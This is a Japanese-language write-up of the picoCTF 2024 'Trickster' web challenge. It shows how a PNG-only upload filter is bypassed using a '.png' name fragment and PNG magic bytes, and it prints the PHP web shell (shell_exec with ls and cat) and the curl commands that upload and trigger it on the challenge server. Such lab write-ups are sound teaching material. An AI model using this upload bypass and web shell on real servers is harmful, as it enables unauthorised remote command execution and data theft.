WriteUp: picoCTF 2024 - Trickster

WriteUp: picoCTF 2024 - Trickster

はじめに

こんにちは。CTF初心者のロイといいます。
今回はpicoCTFのTrickster(Medium, Web Exploitation)を解いたので、WriteUpを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。

問題概要

Descriptionによると「画像を処理するWebアプリをみつけた!PNGだけだけどね!」といった感じです。

challenge instanceを起動すると、リンクが表示されます。
リンクをブラウザで開いてみると、こんな感じです。

picoCTF Trickster

htmlをみても、ほんとファイルをアップロードする機能だけですね。

とりあえずアップロードを試すか

一旦ファイルなしで、Upload Fileボタンを押してみました。

picoCTF Trickster upload nofile

「ファイル名に'.png'が含まれてない」とのこと、ほんとPNGオンリーなんですね。

次に、適当なPNGファイルをアップロードしてみました。

picoCTF Trickster upload file

有効なPNGファイルとのことでアップロードできました。

Webアプリは何を見てPNGファイルだと判断しているのか?

先ほど画面に出たメッセージだと、ファイル名に'.png'を含んでいればアップロードできると。
では、中身がテキストなのに、拡張子だけ.pngにしてもアップロードできるのか?

試しに、適当なテキストファイルを拡張子だけ.pngにしてアップロードしてみました。

picoCTF Trickster upload textfile

なんと、有効なPNGじゃないと。ちゃんと判断してるな。

ん?74657374ってなんだ?

74657374は、16進数でASCIIに直すと「test」か。

先ほどアップロードしたテキストファイルの中身じゃないか!?

ということは、アップロードしたファイルの中身を見てPNGかどうか判断しているのか。

ちょっとここでPNGファイルの中身について勉強すると、PNGファイルにはファイルの先頭に8バイトの

89 50 4E 47 0D 0A 1A 0A
が存在しているらしい。

ASCII文字にすると

\x89PNG\r\n\x1a\n
になる。
PNGって入っているんですねぇ~、勉強になる。

あれ?でも、どこにアップロードされてんのよ?

ここまでの調査で、ファイル名に'.png'を入れて、ファイル中身の先頭にPNGファイル特有の文字列を入れてやれば、多分どんなファイルもアップロードできそうなことがわかりました。

そして、アップしたファイルを実行してflag取れそうじゃないか?という思考までは来れました。

でも、アップしたファイルってどこにあるのよ?あと、サーバー側の処理は何で動いているの?

それを調べないと。。。

アップ先については、tmp、uploads、file、imagesとか適当に入れてみるか。

結果、/uploads/にファイルがアップロードされていることがわかりました。

また、ブラウザの開発者ツールでレスポンスヘッダを確認したところ、X-Powered-By: PHP/8.0.30 となっており、PHPが動いていることがわかりました。

では、実行可能ファイルをアップロードしていく!

手順としては、ファイル名に'.png'を含んで、ファイル先頭にPNGファイル文字列を入れて、PHPで何かコマンドを実行させてみる。

まずは適当なPNGファイルをviで開いてみる。

picoCTF Trickster png head

で、ファイル先頭行だけ残して、後ろにPHPのコマンドを入れます。
こんな感じ

picoCTF Trickster png php

保存したら、ファイル名を .png.php 拡張子に変更して、アップロードします。


      $ curl -X POST http://atlas.picoctf.net:56965/ -F "file=@red.png.php" -o /dev/null -w '%{http_code}\n' -s
      200
    

200が返って、無事アップロードできましたね。

次に、アップロードしたファイルを実行してみます。


      $ curl -S http://atlas.picoctf.net:56965/uploads/red.png.php
      �PNG
      /var/www/html/uploads
    

無事、pwdコマンド実行されたようですね!

flagをまさぐる~

uploadsディレクトリにはアップロードしたファイルしかないみたいなので、更にその上をlsしてみます。

      
      $ cat red.png.php
      �PNG
      <?php
      echo shell_exec('ls -la /var/www/html');
      ?>

      $ curl -X POST http://atlas.picoctf.net:56965/ -F "file=@red.png.php" -o /dev/null -w '%{http_code}\n' -s
      200

      $ curl -S http://atlas.picoctf.net:56965/uploads/red.png.php
      �PNG
      total 16
      drwxrwxrwt 1 www-data www-data   21 Mar 11  2024 .
      drwxr-xr-x 1 root     root       18 Nov 21  2023 ..
      -rw-r--r-- 1 root     root       49 Mar 11  2024 MFRDAZLDMUYDG.txt
      -rw-r--r-- 1 root     root     1572 Feb  7  2024 index.php
      -rw-r--r-- 1 root     root      415 Feb  7  2024 instructions.txt
      -rw-r--r-- 1 root     root       62 Feb  7  2024 robots.txt
      drwxr-xr-x 1 www-data root       40 May 15 08:37 uploads
    

なんだか MFRDAZLDMUYDG.txt って怪しいですよね。

中身を見てみましょう。


      $ cat red.png.php
      �PNG
      <?php
      echo shell_exec('cat /var/www/html/MFRDAZLDMUYDG.txt');
      ?>

      $ curl -X POST http://atlas.picoctf.net:59759/ -F "file=@red.png.php" -o /dev/null -w '%{http_code}\n' -s
      200

      $ curl -S http://atlas.picoctf.net:59759/uploads/red.png.php
      �PNG
      /* picoCTF{ここはマスクしておきますね} */
      

無事flagをゲットしました!

おまけ

ドキュメントルートディレクトリに instructions.txt というファイルもありまして、それも見てみると


      $ curl -S http://atlas.picoctf.net:59759/uploads/red.png.php
      �PNG
      Let's create a web app for PNG Images processing.
      It needs to:
      Allow users to upload PNG images
        look for ".png" extension in the submitted files
        make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
      after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
    

PNGの先頭バイトはマジックバイトって言うみたいですね。

参考資料

PNGファイルについて:https://qiita.com/juno_rmks/items/a707228a0682f529298d

TECH BLOG BY OZAKI